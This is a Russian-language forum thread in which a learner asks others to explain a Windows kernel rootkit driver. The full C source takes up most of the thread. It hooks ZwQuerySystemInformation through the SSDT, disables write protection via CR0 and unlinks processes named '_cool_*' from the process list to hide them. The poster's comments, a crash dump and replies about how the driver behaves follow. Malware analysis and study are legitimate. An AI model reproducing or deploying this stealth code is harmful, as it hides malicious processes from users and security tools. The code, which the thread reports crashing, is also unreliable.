http://www.google.com/codesearch?q=+NTSTATUS+NewZwQuerySystemInformation+show:bBG00bum7Ok:vaMWSQ6IXjY:8RNv3w81I_0&sa=N&cd=2&ct=rc&cs_p=http://www.tantao.cn:8080/rootkit/basic_hook_hide_proc.zip&cs_f=basic_hook_hide_proc/bhhidep.c#a0 кому не лень, распишите пожалуйста что тут делаеться
происходит перехват ZwQuerySystemInformation(): тырятся процессы, начинающиеся с _cool_, к Idle добавляется системное время процесса _cool_.
Что мне нужно учить чтоб я понял что тут делаеться ? вот ты сразу сказал что делаеться , что учить ? посдкажи
кстати я скомпилировал и "запустил" драйвер, только не понял что именно он прячет, я переименовал notepad.exe в _cool_.exe всё равно ничего не прячетсья , обьясни что должно прятаться ? у тебя есть ICQ или Жаббер? Возьми в учиники обещяю не разочаруешься
а я и не говорил, что оно _работает_ . там кстати еще по задумке автора, для сркываемого процесса ZwQuerySystemInformation() все честно отдает . ICQ/Jabber есть, только не шестизнак, поэтому я не раздаю (боюсь угона бугага)
/off я не занимаюсь драйверами -- мне это не интересно. давайте контакты, если так настаиваите, с Вами свяжутся.
censored Забыл ещё что для процесса с началом = _cool_ сокрытия не происходит. Т.е. если в этом процессе вызвать ZwQuerySystemInformation то он выведет реальную информацию.
Code (Text): #include "ntddk.h" #define DWORD unsigned long #define WORD unsigned short #define BOOL unsigned long #pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; //Used only in checked build unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack() __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; #define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)] // Length of process name (rounded up to next DWORD) #define PROCNAMELEN 20 // Maximum length of NT process name #define NT_PROCNAMELEN 16 ULONG gProcessNameOffset; struct _SYSTEM_THREADS { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientIs; KPRIORITY Priority; KPRIORITY BasePriority; ULONG ContextSwitchCount; ULONG ThreadState; KWAIT_REASON WaitReason; }; struct _SYSTEM_PROCESSES { ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; VM_COUNTERS VmCounters; IO_COUNTERS IoCounters; //windows 2000 only struct _SYSTEM_THREADS Threads[1]; }; // added -Creative struct _SYSTEM_PROCESSOR_TIMES { LARGE_INTEGER IdleTime; LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER DpcTime; LARGE_INTEGER InterruptTime; ULONG InterruptCount; }; // added -Creative LARGE_INTEGER m_UserTime; LARGE_INTEGER m_KernelTime; // function prototype NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(IN ULONG SystemInformationClass,IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength); // typedef so we can make a working call thru the saved pointer typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)( ULONG SystemInformationCLass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation; /* Find the offset of the process name within the executive process block. We do this by searching for the first occurance of "System" in the current process when the device driver is loaded. */ void GetProcessNameOffset() { PEPROCESS curproc = PsGetCurrentProcess(); int i; for( i = 0; i < 3*PAGE_SIZE; i++ ) { if( !strncmp( "System", (PCHAR) curproc + i, strlen("System") )) { gProcessNameOffset = i; } } } /* Copy the process name into the specified buffer. */ ULONG GetProcessName( PCHAR theName ) { PEPROCESS curproc; char *nameptr; ULONG i; KIRQL oldirql; if( gProcessNameOffset ) { curproc = PsGetCurrentProcess(); // PsGetCurrentProcess функция возвращяет указатель на на процесс текущего потока nameptr = (PCHAR) curproc + gProcessNameOffset; // Тут не понятно strncpy( theName, nameptr, NT_PROCNAMELEN ); // пихаем в nameptr theName ЗАЧЕМ ? theName[NT_PROCNAMELEN] = 0; // Нуль строка return TRUE; } return FALSE; } NTSTATUS NewZwQuerySystemInformation(IN ULONG SystemInformationClass,IN PVOID SystemInformation,IN ULONG SystemInformationLength,OUT PULONG ReturnLength) { NTSTATUS rc; // NT Статус тут всё понятно CHAR aProcessName[PROCNAMELEN]; // массив aProcessName[20] (см.#define PROCNAMELEN 20) GetProcessName( aProcessName ); // В Функцию GetProcessName передаём массив aProcessname, помоему показывать какой процесс // запросил функцию ZwQuerySystemInformation() я прав ? DbgPrint("Rootkit: NewZwQuerySystemInformation() from %s\n", aProcessName); // пишем в дебаг rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) ( // Вот тут нифига не понятно что делаеться :( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength ); DbgPrint(" real ZwQuerySystemInfo returned %d", rc); if( NT_SUCCESS( rc ) ) // Если rc успешен %) { if(0 == memcmp(aProcessName, "_cool_", 6)) // Если в название процесса = _cool_ (если memcmp вернёт 0) { DbgPrint("Rootkit: Получина команда скрыть процесс копибара :) \n"); } else if( 5 == SystemInformationClass ) // если 5 равен ХЗ чему , нашёл где то что SystemInformationClass это // The type of system information to be queried.The permitted values are a subset of // the enumeration SYSTEM_INFORMATION_CLASS,described in the following section. хз что это :) { // this is a process list, look for process names that start with // '_root_' int iChanged = 0; struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation; // а я то думал копибара та структура в начале кода struct _SYSTEM_PROCESSES *prev = NULL; // вторая.... while(curr) // пока есть кур... есть кур ? кушать куриц ? :) { struct _SYSTEM_PROCESSES *next = ((struct _SYSTEM_PROCESSES *)curr += curr->NextEntryDelta); // АВТОР ГАД !! :) меня не обманешь ANSI_STRING process_name; RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessName), TRUE); if( (0 < process_name.Length) && (255 > process_name.Length) ) { // TODO: Change the prefix of the process to hide if(0 == memcmp( process_name.Buffer, "_cool_", 6)) { ////////////////////////////////////////////// // we have a winner! ////////////////////////////////////////////// char _output[255]; char _pname[255]; memset(_pname, 0, 255); memcpy(_pname, process_name.Buffer, process_name.Length); DbgPrint("Rootkit: hiding process, pid: %d\tname: %s\r\n", curr->ProcessId, _pname); iChanged = 1; m_UserTime.QuadPart += curr->UserTime.QuadPart; m_KernelTime.QuadPart += curr->KernelTime.QuadPart; if(prev) { if(curr->NextEntryDelta) { // make prev skip this entry prev->NextEntryDelta += curr->NextEntryDelta; } else { // we are last, so make prev the end prev->NextEntryDelta = 0; } } else { if(curr->NextEntryDelta) { // we are first in the list, so move it forward (char *)SystemInformation += curr->NextEntryDelta; } else { // we are the only process! SystemInformation = NULL; } } } } else { //add the times of _root_* processes to the Idle process curr->UserTime.QuadPart += m_UserTime.QuadPart; curr->KernelTime.QuadPart += m_KernelTime.QuadPart; m_UserTime.QuadPart = m_KernelTime.QuadPart = 0; } RtlFreeAnsiString(&process_name); if (0 == iChanged) prev = curr; else iChanged = 0; if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta); else curr = NULL; } } else if (8 == SystemInformationClass) //SystemProcessorTimes { struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation; times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart; } } return rc; } VOID OnUnload( IN PDRIVER_OBJECT DriverObject ) { DbgPrint("Rootkit: OnUnload called\n"); // UNProtect memory __asm { push eax mov eax, CR0 and eax, 0FFFEFFFFh mov CR0, eax pop eax } // put back the old function pointer InterlockedExchange( (PLONG) &SYSTEMSERVICE(ZwQuerySystemInformation), (LONG) OldZwQuerySystemInformation); // REProtect memory __asm { push eax mov eax, CR0 or eax, NOT 0FFFEFFFFh mov CR0, eax pop eax } } NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath ) { DbgPrint("Rootkit: WE ARE ALIVE! Let the hiding begin.\n"); GetProcessNameOffset(); theDriverObject->DriverUnload = OnUnload; // UNProtect memory __asm { push eax mov eax, CR0 and eax, 0FFFEFFFFh mov CR0, eax pop eax } OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION) InterlockedExchange( (PLONG) &SYSTEMSERVICE(ZwQuerySystemInformation), (LONG) NewZwQuerySystemInformation); // REProtect memory __asm { push eax mov eax, CR0 or eax, NOT 0FFFEFFFFh mov CR0, eax pop eax } return STATUS_SUCCESS; } вот что я пока понял... вылез синий экран когда запустил таксманагер , щя вандампом гляну чё там
Code (Text): .. Probably caused by : driver.sys ( driver+121f ) .. STACK_TEXT: fb390c00 fd34621f fb390c20 000ae270 00000001 nt!RtlUnicodeStringToAnsiString+0x20 // это не изза RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessName), TRUE); ??? WARNING: Stack unwind information not available. Following frames may be wrong. fb390d4c 804df06b 00000005 0009f1f8 00004000 driver+0x121f fb390d4c 7c90eb94 00000005 0009f1f8 00004000 nt!KiFastCallEntry+0xf8 0006efe8 00000000 00000000 00000000 00000000 0x7c90eb94
NTSTATUS RtlUnicodeStringToAnsiString( IN OUT PANSI_STRING DestinationString, IN PUNICODE_STRING SourceString, IN BOOLEAN AllocateDestinationString ); а почему автор кода зделал Code (Text): ANSI_STRING process_name; если там IN OUT PANSI_STRING DestinationString